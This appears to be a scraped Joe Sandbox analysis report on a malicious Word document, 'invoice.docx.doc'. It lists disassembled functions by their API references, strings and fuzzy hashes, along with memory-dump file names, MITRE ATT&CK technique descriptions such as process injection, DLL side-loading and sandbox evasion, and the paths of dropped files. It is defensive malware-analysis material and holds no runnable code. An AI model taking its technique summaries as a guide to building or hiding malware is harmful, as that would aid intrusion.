Function 00DE14C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00E0EA22

Part of subcall function 00DE13CB: ___swprintf_l.LIBCMT ref: 00DE146B
Part of subcall function 00DE13CB: ___swprintf_l.LIBCMT ref: 00DE1490

___swprintf_l.LIBCMT ref: 00DE156D

Strings

%%%u, xrefs: 00DE1564
]:%u, xrefs: 00E0EA47

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: ce06148deeed4d3e374c4068febc596898878c79e8a72ad4f38f12e706623df5
Instruction ID: 7f6e1cda143ef60a4165d24aeda110df83bc872da414448557ecab24cb1502a4
Opcode Fuzzy Hash: ce06148deeed4d3e374c4068febc596898878c79e8a72ad4f38f12e706623df5
Instruction Fuzzy Hash: 1D218176A00259ABCF20EE59CC41AEA73BCEB54700F544566F946E3240EB70DA988BF1

Function 00E43DA7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00E43DF3
___swprintf_l.LIBCMT ref: 00E43E1D
___swprintf_l.LIBCMT ref: 00E43E46

Strings

]:%u, xrefs: 00E43E3D
%%%u, xrefs: 00E43E14

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: b4c903dcb3c30c62c4ce6276466229697507b5734daa612b5f3305a925c7ef15
Instruction ID: 10d547e7bb331315a34b11de2a141184f2efdae5245bd2de2604dd37c31c5fa6
Opcode Fuzzy Hash: b4c903dcb3c30c62c4ce6276466229697507b5734daa612b5f3305a925c7ef15
Instruction Fuzzy Hash: 9F21AFB2A0121AABCB20AE79AC459EF77ACEB55718F041525FC08B3141E7709F58C7E1

Function 0044A15C Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0044A16A

Part of subcall function 0044A046: __FF_MSGBANNER.LIBCMT ref: 0044A05F
Part of subcall function 0044A046: __NMSG_WRITE.LIBCMT ref: 0044A066
Part of subcall function 0044A046: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,00448F01,?,00000001,?,?,00448321,00000018,0044C900,0000000C,004483B1), ref: 0044A08B

_free.LIBCMT ref: 0044A17D

Memory Dump Source

Source File: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.440945111.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_milliano89012.jbxd

Yara matches

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: 79dcb828b78a649f943aeb3bbd224ae62308f47648f5163ebe310cd1aa835bde
Instruction ID: ab8929ef2d13e7e12c6ca779fb5c63cc47b7c8ce4fe759d264bd2a51caa0a50f
Opcode Fuzzy Hash: 79dcb828b78a649f943aeb3bbd224ae62308f47648f5163ebe310cd1aa835bde
Instruction Fuzzy Hash: 06110436440610ABFB212F75AC0465F3B969B413A4F30402FFD149A251EF3C8851579F

Function 004495F1 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004495FD

Part of subcall function 00447C5B: __getptd_noexit.LIBCMT ref: 00447C5E
Part of subcall function 00447C5B: __amsg_exit.LIBCMT ref: 00447C6B

__getptd.LIBCMT ref: 00449614
__amsg_exit.LIBCMT ref: 00449622
__lock.LIBCMT ref: 00449632
__updatetlocinfoEx_nolock.LIBCMT ref: 00449646

Memory Dump Source

Source File: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.440945111.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_milliano89012.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 3a194968ec576ca77c5c457a859cb4756bb2335ef2628ded8de72e88b7a7d02a
Instruction ID: 0ef1b7a74b084d37e2b668039e870a314f472b127d429efb888b96866706941d
Opcode Fuzzy Hash: 3a194968ec576ca77c5c457a859cb4756bb2335ef2628ded8de72e88b7a7d02a
Instruction Fuzzy Hash: D1F06D32949610EBF721BFB69803B4F67A0AF00729F12414FE405A66C2CB6D5D02EA5E

Function 00DC53A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E022F4

Strings

RTL: Re-Waiting, xrefs: 00E02328
RTL: Resource at %p, xrefs: 00E0230B
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00E022FC

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 796f3a74c643591ad4035059d077af1730ea21a7de3465d6782d54e06cf2197f
Instruction ID: 24bcea89298969b9dfd959166129873bd690f8d40eea0f07b48e9fb70fd1960f
Opcode Fuzzy Hash: 796f3a74c643591ad4035059d077af1730ea21a7de3465d6782d54e06cf2197f
Instruction Fuzzy Hash: 9F5136716006426BDF11AB64DC85FA673E8EF58364F11422DFE08DB281EA65EC818BB0

Function 00401790 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 153COMMON

Download Yara Rule

Strings

30, xrefs: 004017B1
^, xrefs: 004017C9
M, xrefs: 004017AA

Memory Dump Source

Source File: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.440945111.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_milliano89012.jbxd

Yara matches

Similarity

API ID:
String ID: 30$M$^
API String ID: 0-3089422217
Opcode ID: a4475f7700dc575d5dc06bf466aa1e37fe9cac81411de17f6dfdf69863413ed7
Instruction ID: c42d713765bdca615ad9c08ad54350b447bc45472b94760109545985085a183e
Opcode Fuzzy Hash: a4475f7700dc575d5dc06bf466aa1e37fe9cac81411de17f6dfdf69863413ed7
Instruction Fuzzy Hash: 3341E172F005098BDB28DA9DD8552BE76A2E7D0315F58C23BE905FB3E0E67D8E418784

Function 00401360 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00401403

Strings

{, xrefs: 00401371

Memory Dump Source

Source File: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.440945111.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_milliano89012.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: {
API String ID: 716092398-366298937
Opcode ID: e693b3f3916d76d32c8e2fd5ad31f6f5d7ff318de27d3e9790a7770738c0d074
Instruction ID: f2d5d1d47384e25c51e6357311a360568de6d1e7d069356fc480dd577d8073ee
Opcode Fuzzy Hash: e693b3f3916d76d32c8e2fd5ad31f6f5d7ff318de27d3e9790a7770738c0d074
Instruction Fuzzy Hash: 86411671B001095BEB18CA6DCC457BA729AE7D4358F24D13BF90AEB7F0EA3C99414658

Function 00DCEC56 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 00E0248D
RTL: Re-Waiting, xrefs: 00E024FA
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 00E024BD

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: 005f61e4ac8b542cce2a63dfbb22c8572b634a3a9f0817744bed8b78a241a69e
Instruction ID: 71b48604daaef77f3b896b16334472a07b3dcd1c1ea252a6295b2c9dce36ef60
Opcode Fuzzy Hash: 005f61e4ac8b542cce2a63dfbb22c8572b634a3a9f0817744bed8b78a241a69e
Instruction Fuzzy Hash: 3D41E8B0600205AFDB20EB68CD89F6A77F9EF45720F208609F665EB2C1D774E9418771

Function 00E1E759 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 133COMMON

Download Yara Rule

APIs

_wcstoul.LIBCMT ref: 00E1E7B2

Strings

8, xrefs: 00E1E875
8, xrefs: 00E1E871, 00E1E887, 00E1E874
Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 00E1E893

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: _wcstoul
String ID: 8$8$Set 0x%X protection for %p section for %d bytes, old protection 0x%X
API String ID: 1097018459-1135715592
Opcode ID: d515701828f7bb21af964c1ca10dcc5c780c7c690f0cff6a729f0d3178a7f158
Instruction ID: 8f5e62239e1f5f82221d4c5c45caaeb158973452630c8988d380c0298c4533ea
Opcode Fuzzy Hash: d515701828f7bb21af964c1ca10dcc5c780c7c690f0cff6a729f0d3178a7f158
Instruction Fuzzy Hash: 8B419F72C00249AADF149FE4C881BEEB7B8EF05314F58946AF911B7281E774DAC4D760

Function 004014FD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(00006EE4,?,?,?), ref: 004015EF

Strings

n, xrefs: 00401551
Q/, xrefs: 00401559
40, xrefs: 00401537

Memory Dump Source

Source File: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.440945111.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_milliano89012.jbxd

Yara matches

Similarity

API ID: ProcWindow
String ID: 40$Q/$n
API String ID: 181713994-771313287
Opcode ID: 12f028b12629e3dd482e42934a53d3df54e83f327f028ecf54e3d01f03692195
Instruction ID: da2acb25ac5bf611b3b5d956379a685e051a5a104f9f6f3e1a097ccc86a72323
Opcode Fuzzy Hash: 12f028b12629e3dd482e42934a53d3df54e83f327f028ecf54e3d01f03692195
Instruction Fuzzy Hash: 63219E716042068BD318CE1DDC4546BB69AEBD8348F04863EFD55DF3E1E679DD108785

Function 00DDFCC9 Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00DDFD94

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: f472ce2a71fb4ae1cbaa3c5aec6204eedea3a9e6042578ee6cc8bea08296af54
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 0A91A231D0024AEFDF24DF58C8456EEB7B5EF55314F24847BE442A6392E7309A81DBA1

Function 00E55CFA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 00E55DE8

Strings

$, xrefs: 00E55D36
0, xrefs: 00E55DBF

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: __aulldvrm
String ID: $$0
API String ID: 1302938615-389342756
Opcode ID: 0ef47804c64e88a5c6d8e6d79971724237a672521e52c435f275fd8d55594eb9
Instruction ID: 506dff893e017a8e92a7bc33ee5c0fdd4c59a00944227e36b17fa8aec2913bb8
Opcode Fuzzy Hash: 0ef47804c64e88a5c6d8e6d79971724237a672521e52c435f275fd8d55594eb9
Instruction Fuzzy Hash: D291B132D04A8ADFDF24CF99C8653EEBBB0AF01316F14695ADCA1B7291C7744A49CB50

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report invoice.docx.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\milli[1].doc

